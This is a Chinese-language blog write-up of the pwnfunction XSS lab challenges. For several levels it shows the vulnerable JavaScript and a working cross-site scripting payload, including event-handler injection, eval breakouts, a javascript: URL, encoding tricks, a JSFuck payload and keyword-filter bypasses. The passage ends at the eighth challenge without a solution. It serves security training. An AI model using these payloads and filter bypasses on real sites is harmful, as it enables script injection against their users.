XSS漏洞

原创于 2024-08-17 22:51:47 发布 · 1.4k 阅读

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文章标签：

#xss #前端

文章目录

- 第一题
第二题
第三题
第四题
第五题
第六题
第七题
第八题

靶场链接：https://xss.pwnfunction.com/challenges/

第一题

**
在这里插入图片描述
代码

<!-- Challenge -->
<h2 id="spaghet"></h2>
<script>
    spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>

分析源码：在script标签里边，使用get传参的方式给somebody传一个值，如果没有传值，默认传Somebody+Toucha Ma Spaghet!,然后赋值给spaghet,放在h2标签中
但是这里的spaghet后边加了一个innerHTMl的属性

官方注解：https://developer.mozilla.org/zh-CN/docs/Web/API/Element/innerHTML

在这里插入图片描述

?somebody=<img%20src=1%20οnerrοr="alert(1337)">

成功绕过
在这里插入图片描述
**

第二题

**
在这里插入图片描述

代码如下

<h2 id="maname"></h2>
<script>
    let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
    let ma = ""
    eval(`ma = "Ma name ${jeff}"`)
    setTimeout(_ => {
        maname.innerText = ma
    }, 1000)
</script>

分析：这里首先使用get传参的方式，给jeff一个值，将值传给let jeff,变量ma然后执行Ma name +jeff传入的值,setTimeout是延时执行ma,这里的ma带了一个ineerText的属性，
他不会去渲染我们的css样式，意思就是我们在加什么标签之类的东西都不会起效果。所以我们这里只能换一种思路，他不能加标签，那我们看能不能直接闭合ma，之后执行我们的代码。

?jeff=a";alert(1337);"

?jeff=a"-alert(1337);"

成功绕过
在这里插入图片描述
**

第三题

**
在这里插入图片描述
代码

<div id="uganda"></div>
<script>
    let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
    wey = wey.replace(/[<>]/g, '')
    uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>

分析：还是使用get方式传参；首先是传给wey一个值，然后赋值给变量let wey,然后这里过滤了<>尖括号，最后将我们的变量wey内容传给Uganda，显示在输入框中，Uganda也带一个inner HTML的属性，所以我们不能使用script标签,那就看看其他的思路;
这里使用onfocus 和autofucus 使用焦点的原理，可以使用onfocus获取焦点,再利用autofocus自动获取焦点，所以我们就触发执行代码（用onfocus在input中获取焦点事件，input天生就有焦点事件，应为不可以与用户交互，所以用autofocus自动获取焦点）

?wey=aaa"%20οnfοcus=alert(1337)%20autofocus="

成功
在这里插入图片描述
**

第四题

在这里插入图片描述

源码：

<form id="ricardo" method="GET">
    <input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>
    ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
    setTimeout(_ => {
        ricardo.submit()
    }, 2000)
</script>

分析：使用get方式传参；传一个值给Ricardo，这里的submit是提交，意思是将我们传入的值过两秒传给Ricardo。action是他接受的一个伪协议,这里就使用一下JavaScript

?ricardo=javascript:alert(1337)

成功
在这里插入图片描述
**

第五题

**
在这里插入图片描述
源码：

<h2 id="will"></h2>
<script>
    smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
    smith = smith.replace(/[\(\`\)\\]/g, '')
    will.innerHTML = smith
</script>

分析：这里主要是过滤，将（）\ 和反引号过滤；会将这些符号转化为空

还有inner HTML，所以script也不能用了

不妨试一下用img的报错实现，因为我们的括号被过滤，那么我们可以试下使用实体编码进行绕过

?markassbrownlee=<img%20src=1%20οnerrοr=alert&#40;1337&#41;>

在这里插入图片描述

在h2这并没有找到我们插入的标签，这是为什么呢？明明也没有过滤我们的img标签啊

其实是因为url在传参时，会将我们的特殊符号进行解码，但我们传递的是html的实体编码，所以问题出现在了这里，那么我们再将实体编码再进行次url编码

?markassbrownlee=<img%20src=1%20οnerrοr=alert%26%2340%3B1337%26%2341%3B>

成功
在这里插入图片描述
**

第六题

**
在这里插入图片描述
源码：

balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)

解析：
这里我们有个技巧，当看到过滤了大小写和数字时，我们使用一个工具就可以直接进行

解决办法:
利用框架绕过：https://jsfuck.com/
在这里插入图片描述
他就会用一些符号来表示我们的字符和数字等

这里我们将上边转好的复制输入进去

因为+在url传参时，会解码为空格，所以我们要对这些符号再次编码
编码网站：https://cryptii.com/pipes/text-octal

%5b%5d%5b%28%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%5d%5b%28%5b%5d%5b%28%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%5b%28%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%5d%29%5b%2b%21%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b%28%5b%5d%5b%5b%5d%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%5b%5d%5b%5b%5d%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%5b%5d%5b%28%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%5b%28%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%5d%29%5b%2b%21%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%5d%28%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%5b%5d%5b%5b%5d%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%5b%5d%5b%5b%5d%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%2b%5b%21%5b%5d%5d%2b%5b%5d%5b%28%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%5d%29%5b%2b%21%2b%5b%5d%2b%5b%2b%21%2b%5b%5d%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%2b%28%21%2b%5b%5d%2b%21%2b%5b%5d%2b%21%2b%5b%5d%2b%5b%2b%21%2b%5b%5d%5d%29%29%5b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%5b%28%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%5d%29%5b%2b%21%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b%28%5b%5d%2b%5b%5d%29%5b%28%5b%5d%5b%28%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%5b%28%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%5d%29%5b%2b%21%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b%28%5b%5d%5b%5b%5d%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%5b%5d%5b%5b%5d%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%5b%5d%5b%28%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%5b%28%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%5d%29%5b%2b%21%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%5d%5b%28%5b%5d%5b%5b%5d%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%28%2b%5b%5d%29%5b%28%5b%5d%5b%28%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%5b%28%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%5d%29%5b%2b%21%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b%28%5b%5d%5b%5b%5d%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%2b%2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成功
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**

第七题

**
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源码：

mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)

分析：这里还是get方式传参，但是限制我们传入的参数长度最大为50个字节，而且过滤了一大堆东西，最后执行mafia

很明显上一关的方法就不行了

代码漏洞，他过滤了符号和alert函数，但是没有过滤confirm 函数

?mafia=confirm(1)

成功
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但是很明显考察的不是这个
有一下三种方法
第一种：构造函数（用Function构造一个ALERT（1337）函数），因为用小写的alert会被过滤，但是js严格区分大小写，所以我们要在构造函数的时候调用转小写的函数，记得在最后加上（）让这个函数执行，如下

?mafia=Function(/ALERT(1337)/.source.toLowerCase())()

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第二种：eval(8680439..toString(30))(1337)
利用eval和 to String（）

toString()是返回一个函数的字符串，内容是函数的源码

这里返回了一个alert，那我们大胆猜前边的8680439就是的，但是是咋来的呢？其实就是我们的alert使用parseint函数转换成了30进制的一个整数
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这里的三十是代表三十进制，因为要想直接显示alert，16进制是从0-9，A-F，所以到T这里就是三十进制了。所以最后执行代码就成功了。

第三种

?mafia=eval(location.hash.slice(1))#alert(1337)

location.hash是取URL里面#后面的值，而slice就是分片，这样就可以取到#后面的值了alert(1337)
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注意：#后面的值是不会影响传参的。

第八题

**
在这里插入图片描述
源码

<h2 id="boomer">Ok, Boomer.</h2>
<script>
    boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")
    setTimeout(ok, 2000)
</script>